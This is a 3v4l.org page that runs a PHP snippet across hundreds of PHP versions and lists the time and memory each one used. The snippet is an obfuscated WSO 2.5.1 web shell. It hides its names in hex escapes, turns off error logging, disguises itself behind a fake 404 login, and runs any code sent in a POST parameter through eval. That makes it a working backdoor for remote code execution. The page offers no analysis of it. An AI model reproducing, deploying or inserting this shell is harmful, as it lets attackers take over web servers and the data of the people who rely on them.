3v4l.org

run code in 300+ PHP versions simultaneously
<?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0100.00815.07
7.3.120.0110.00714.94
7.3.110.0050.01315.02
7.3.100.0070.01014.99
7.3.90.0040.00414.80
7.3.80.0030.01015.08
7.3.70.0070.00514.84
7.3.60.0030.00814.75
7.3.50.0100.00515.02
7.3.40.0050.00814.80
7.3.30.0060.00714.92
7.3.20.0050.01016.48
7.3.10.0010.01116.63
7.3.00.0070.00716.64
7.2.250.0080.01114.98
7.2.240.0050.01414.94
7.2.230.0070.01014.92
7.2.220.0030.00815.01
7.2.210.0040.00815.02
7.2.200.0070.00814.99
7.2.190.0050.00715.09
7.2.180.0080.00714.91
7.2.170.0070.00415.19
7.2.60.0070.00317.00
7.2.00.0030.01019.10
7.1.330.0040.00815.96
7.1.320.0050.01115.83
7.1.310.0030.00815.84
7.1.300.0030.00715.57
7.1.290.0040.00915.75
7.1.280.0070.00615.70
7.1.270.0040.00715.92
7.1.260.0050.00715.86
7.1.200.0030.01015.89
7.1.100.0060.00617.69
7.1.70.0050.00217.20
7.1.60.0070.01119.29
7.1.50.0000.01516.94
7.1.00.0100.07022.39
7.0.200.0000.00816.77
7.0.140.0100.06322.22
7.0.60.0130.05720.01
7.0.50.0070.03717.94
7.0.40.0130.08020.27
7.0.30.0300.05320.17
7.0.20.0200.07320.16
7.0.10.0030.08720.23
7.0.00.0030.08020.07
5.6.280.0030.07321.10
5.6.210.0070.04320.50
5.6.200.0030.05018.19
5.6.190.0070.08720.34
5.6.180.0200.04720.48
5.6.170.0130.04320.41
5.6.160.0100.08720.52
5.6.150.0070.08318.21
5.6.140.0070.04718.28
5.6.130.0030.08018.21
5.6.120.0000.04320.98
5.6.110.0000.06321.08
5.6.100.0030.04321.04
5.6.90.0030.05021.01
5.6.80.0030.06720.44
5.5.350.0100.09020.50
5.5.340.0030.06017.99
5.5.330.0030.04020.19
5.5.320.0270.04320.31
5.5.310.0100.06720.27
5.5.300.0000.04717.94
5.5.290.0070.07017.95
5.5.280.0100.08020.79
5.5.270.0130.07020.90
5.5.260.0130.06320.76
5.5.250.0030.05720.69
5.5.240.0070.07320.29
5.4.450.0870.04719.39
5.4.440.0930.07019.41
5.4.430.0070.06019.68
5.4.420.0100.05719.46
5.4.410.0100.05319.11
5.4.400.0170.05719.07
5.4.390.0100.05319.03
5.4.380.0100.05718.84
5.4.370.0200.04718.74
5.4.360.0130.03718.65
5.4.350.0100.04018.68
5.4.340.0100.04018.53
5.4.320.0170.03718.45
5.4.310.0300.03318.67
5.4.300.0130.04718.77
5.4.290.0070.05718.60
5.4.280.0270.05018.78
5.4.270.0230.04718.67
5.4.260.0200.04718.42
5.4.250.0170.03718.46
5.4.240.0100.04718.70
5.4.230.0100.04018.60
5.4.220.0170.04318.79
5.4.210.0130.04318.64
5.4.200.0130.05016.52
5.4.190.0130.05318.45
5.4.180.0930.04718.41
5.4.170.0200.04318.62
5.4.160.0070.05318.59
5.4.150.0200.04318.41
5.4.140.0200.04316.15
5.4.130.0130.05716.19
5.4.120.0330.03316.23
5.4.110.0100.05016.22
5.4.100.0070.05316.24
5.4.90.0070.05316.18
5.4.80.0170.06716.16
5.4.70.0170.04316.15
5.4.60.0230.04016.17
5.4.50.0170.04716.20
5.4.40.0270.04316.21
5.4.30.0100.05316.14
5.4.20.0070.05716.11
5.4.10.0130.04716.20
5.4.00.0200.03715.63
5.3.290.0000.06314.68
5.3.280.0100.05314.62
5.3.270.0200.04714.83
5.3.260.0200.04714.62
5.3.250.0130.06714.69
5.3.240.0070.06314.58
5.3.230.0230.06314.63
5.3.220.0070.05314.67
5.3.210.0100.05314.71
5.3.200.0070.05314.61
5.3.190.0230.04314.59
5.3.180.0070.05714.71
5.3.170.0300.04714.70
5.3.160.0130.05314.75
5.3.150.0070.05014.52
5.3.140.0070.04314.58
5.3.130.0100.04014.65
5.3.120.0100.03714.65
5.3.110.0170.05014.54
5.3.100.0070.04314.07
5.3.90.0170.04014.11
5.3.80.0000.05014.11
5.3.70.0170.03314.12
5.3.60.0030.04013.97
5.3.50.0030.05013.91
5.3.40.0070.04314.13
5.3.30.0070.04714.02
5.3.20.0130.03013.85
5.3.10.0170.05313.61
5.3.00.0230.03713.70
5.2.170.0030.04011.11
5.2.160.0100.03311.26
5.2.150.0070.03311.15
5.2.140.0070.03011.25
5.2.130.0070.03311.10
5.2.120.0070.04011.18
5.2.110.0070.03711.30
5.2.100.0070.04011.14
5.2.90.0000.03711.18
5.2.80.0030.03311.09
5.2.70.0030.03311.17
5.2.60.0000.04311.13
5.2.50.0070.03011.05
5.2.40.0030.03011.07
5.2.30.0070.02711.06
5.2.20.0070.03011.06
5.2.10.0030.03310.86
5.2.00.0100.03010.94
5.1.60.0070.02310.00
5.1.50.0030.03010.04
5.1.40.0100.02710.09
5.1.30.0000.03010.37
5.1.20.0030.03710.46
5.1.10.0100.02710.03
5.1.00.0030.02710.24
5.0.50.0030.0378.64
5.0.40.0030.0238.41
5.0.30.0070.0408.40
5.0.20.0030.0278.20
5.0.10.0100.0208.34
5.0.00.0030.0378.16
4.4.90.0000.0235.91
4.4.80.0100.0135.91
4.4.70.0000.0235.98
4.4.60.0000.0205.85
4.4.50.0000.0276.01
4.4.40.0030.0305.88
4.4.30.0100.0135.93
4.4.20.0070.0205.97
4.4.10.0030.0235.96
4.4.00.0100.0236.02
4.3.110.0130.0135.80
4.3.100.0200.0205.79
4.3.90.0030.0205.78
4.3.80.0030.0305.85
4.3.70.0100.0105.89
4.3.60.0070.0135.80
4.3.50.0000.0205.76
4.3.40.0070.0205.77
4.3.30.0030.0174.63
4.3.20.0000.0204.65
4.3.10.0030.0174.53
4.3.00.0200.0136.66

preferences:
40.8 ms | 400 KiB | 5 Q